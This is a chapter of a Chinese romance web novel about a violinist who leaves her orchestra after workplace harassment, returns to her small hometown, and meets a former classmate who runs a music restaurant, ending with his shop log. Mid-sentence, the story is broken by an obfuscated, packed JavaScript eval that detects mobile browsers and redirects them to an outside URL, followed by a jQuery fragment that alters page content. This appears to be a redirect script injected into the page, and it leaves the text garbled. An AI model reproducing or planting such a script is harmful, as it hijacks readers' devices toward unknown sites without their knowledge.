晚钟的初中、高中生活都在烟栊县度过。
读初中时,她坐在班级前排,云锦坐在班级后排。
读高中时,她和云锦坐在前后桌。
可这么多年来,他们都没有什么交集,即便待在同一个班级群,他们也没有互相添加好友。
高二那年,他似乎出国留学了?
晚钟对他没太多印象。
晚钟:“我和很多同学都断了联系,这些年也没听说举办同学会的事。时间久了,慢慢的就不记得她们了。”
宁雨:“人不都这个样子,社交就近原则。”
晚钟:“那是不是显得太无情了?”
“为什么要一直操心以前的事?你的现在不还没着落?”宁雨倚在沙发上问:“想好接下来要去哪个城市了吗?”
“不是说了,想在烟栊待一阵子。”
“那以后呢?总不能一直待在烟栊。”
“待在烟栊就没办法工作生活了吗?”晚钟拧开水龙头,越来越用力地揉搓双手。
宁雨提高了音量:“烟栊的人均月工资稳定在两千多块,向上也没有晋升空间,你真能一辈子耗在这儿?”
“一定要晋升才能证明找了个好工作,好好生活了吗?”
“……”
晚钟把手上皮肤搓得通红,心里有些窝了火:“我小时候的生活是上学、练小提琴,长大后的生活是小提琴演出、小提琴练习,除了小提琴,我好像什么都不知道,什么都不会了。我从来不否认我在小提琴上的天赋和努力,累得不行、搞砸演出时也没想过完蛋了。可去年到现在,我一直在想,有些人即使有天赋,或许也不适合站在台前。”
晚钟洗把脸,拧上水龙头。
宁雨看向她,想了想叹了口气说:“只要不像你妈妈那样,只要不后悔,随你怎么打算吧。”
听到很久没提过的人,晚钟拿毛巾擦手的动作停了半刻,“您放心好了,我不会做出她那样的事。”
“说起来我们也好几个月没有联系了,上次联系还是在春节,她什么礼物都没送,仅仅从意大利寄来一张漂洋过海的明信片。”
“明信片上说什么了?”
“她什么都没说,但那张明信片属于画作的周边,边角印着售出五十万美金高价。”
“这才像她能做出来的事。”
姨妈和妈妈年轻时关系一直很好,比南栀阿姨和姨妈的关系还要亲近好几倍。
19年的争吵过后,她们算是分道扬镳,都进入了另外一种生活模式。
宁雨对晚钟的回答毫不意外,她问:“你和你妈妈最近还在联系吗?”
“我们上一次联系是六年前,看起来在她心里,姨妈比我还重要哦。”晚钟俏皮道:“她在任何节日都没送过我明信片。”
晚钟和妈妈之间的关系一直冷冷淡淡,她们没有社交账号的好友标识,没有聊天记录,甚至没有彼此如今的电话号码。
如果有一天她们恢复联系,好像也没什么想倾诉的话题。
晚钟立在原地,忽然问:“姨妈,你说有没有一种可能,我就不该学习拉小提琴?”
“是演出太累了吗,还是失去主体性,一味的想寻求外界对你的认可?”姨妈关上电视机,笔直朝卧室走,“少说点傻话,早点休息吧。明天的饭菜会是什么味道,明天的天气会是什么样,明天见到印象最深的风景是什么,这些不都比自我怀疑来的有意义?”
真的那样就好了吗?
晚钟挂好毛巾,关闭客厅空调。
打开卧室窄小的窗户,清爽的夜风卷了进来。
晚钟和姨妈居住的老式居民楼目前只安装了两台空调。
一台在一楼店铺,一台在二楼客厅。
往常卧室开窗再打开风扇就不会在夜晚感到炎热,今晚不知道是不是因为心情郁闷,晚钟到凌晨都难以平静下来。
似乎有邻居深夜做了吃食,她在窗边闻到烟气。
“我很清楚我在说什么,能不能担任独奏的担子可以看入行长短,可以看履历是否漂亮,但绝不能是因为这种事情!”
被叫进上司办公室那天,孟晚钟无惧地反驳上司。
她不认为她做错了什么,哪怕表现形式不够完美。
上司上下扫视她一眼,顿时破口大骂:
“不觉得你说这种话很可笑吗?你真以为你能进乐团是因为从小练琴,还拿了一些奖项吗?团里那么多从小练琴的人,那么多拿过奖的人,为什么我不选她们进行独奏巡演,非要选你?孟晚钟,同样优秀的人里,划去年轻漂亮,你什么都不算了!”
上司像被踩了尾巴的猫,漆黑锐利的眼睛直勾勾盯着她的领口。
晚钟头也不回地跑出办公室。
那天之后,晚钟在乐团的排练总不在状态。
上司的每次出现都让她感到恶心。
一周后,她提交离职申请。
提交的过程很顺利,但在当天晚上,上司发信息说:“你进乐团的时候和我们签了合同,合同还有半年,付违约金还是等合同到期?”
违约金堪称天价,晚钟不打算把辛苦演出的钱塞给上司一部分。
她选择睁一只眼闭一只眼,少和上司碰面,绝不和对方单独待在一个房间。
但第二天,上司骚扰她的事不胫而走,变成了她凭借美貌上位且破坏她人家庭。
同事们鄙夷的目光、伤人的话语犹如一片片冬日雪花,将她冻得彻骨生寒。
她仔仔细细的解释变成欲盖弥彰,上司的妻子冲进排练室,打了她巴掌、拽了她头发,扯住她的衣领试图扒开她的上衣。
周围的同事不敢帮忙,晚钟一瞬间什么都不怕了,她狠狠打了回去,拿起手机要报警。
同事们终于良心发现,说着话涌上来。可她们却劝她不要报警,让她当一切都没发生过。
发生过的事情怎么被抹去?
晚钟头一次对乐团如此失望。
那天夜里的风和今晚一样冰凉。
晚钟沉沉地呼出一口气,拿了手机朝楼下走。
深夜的街道只剩下几盏路灯,时不时从巷子里窜出流浪猫或是流浪狗。
晚钟攥着手机,不知不觉走到青海路中段。
许云锦开的音乐餐厅亮着灯牌,店内一片漆黑。
玻璃门前停一辆漆黑的车,男士身穿简单的短袖长裤,贵气松弛地单手撑在车边。
他没穿外套,小臂因略微用力而绷出优美的肌肉线条。
暖黄色的店牌光芒下,他的乌发隐隐泛出淡栗色。
似乎听到脚步声,他回过头露出柔和些的深邃眉眼,嘴角带着还没压下去的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16458066|185379||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
温和弧度。
晚钟不远不近地瞧了他好一会儿,他不受宠不若惊地回看她。
看不出调戏人或是不正经的可能。
晚钟清了下嗓子,不确定道:“许云锦?”
“嗯?”许云锦把手从车边拿开,嗓音溢出笑意:“你叫我?”
“嗯,遇见了不打招呼好像怪怪的。”晚钟杵在原地,不向前走,也不后退。
安静两秒,她问:“听说这家音乐餐厅是你开的?”
“三年前大学毕业后开的。”许云锦浑身透露着淡然。
晚钟这才想起他们两个是同龄人,她偏了偏头,豁然没话说。
许云锦手里的手机屏幕亮了下,晚钟陡然找到话题:“那个,祝你生意兴隆,下次再聊吧,我是向阳路花店老板家的外甥女。”
晚钟说完转身要走。
云锦喊住了她:“孟晚钟,我记得你。”
她挪移的脚步顿住。
“八年前我们在这儿见过。”
晚钟有些心虚,“我不记得这件事了。”
“……那等你再忘记的时候,我再提醒你吧。”云锦拉开车门。
下一秒,晚钟听见越来越近的脚步声。
“烟栊昼夜温差大,下次晚上不要出来散步了。”
晚钟抬起头,云锦已经三两步走到她身前。
他递给她一件外套,和一瓶粉色包装的桃汁。
暖色灯光下,晚钟揣在口袋里的手指轻轻蜷了一下。
2025.05.05
《Ripesummer熟夏》不公开经营记录。
一、今日歌曲记录
乐队今日正常上班,演唱了陈奕迅的《好久不见》,邓丽君的《重逢》。
虽然今天没有客人点歌,但周北鸣喝醉后很应景的播放了《李斯特:爱之梦第三首》。
值得高兴的是,重逢的歌曲下真的和想见的人重逢了。
二、店铺经营相关
音乐餐厅开放三年了,一开始客人很多,可慢慢的大家就失去了一部分新鲜感。
为了店铺经营,店铺在抖音、小红书、哔哩哔哩等软件上注册社交账号。
账号主页除了店内新品、环境宣传,专门开设了“餐厅乐评合集”,我每天写一些乐评上传,也算没有遗忘大学专业。
云女士再次打来电话,希望我把分店开到国外,她愿意转来一笔可观的投资。
很不巧的是,我正在筹备春霖市又一家分店的选址,再这样下去,账号上的乐评合集就做不到日更,还可能断更很长时间。
最近实在太忙,张贴出去的乐评人招聘信息两个月来没有人符合要求。
刚好X女士回到烟栊,我记得她大学时仍在演奏小提琴,或许可以邀请她来兼职?但今天见面时,忘记询问她要在烟栊待多久。
三、特别事项
她站在蓝湾石桥这端,从店铺方向往石桥另一端指了指,她问我:“新开发区那边,以前是什么地方?蓝湾公园?还是绿湖公园?”
其实那边以前叫“绿湖湿地公园”,她八年前就问过同样的问题。
在和今天一样的地方,问着同一个人。
她不记得这件事,却清楚记得递给她的桃汁八年前卖五块一瓶。
今日店长:许云锦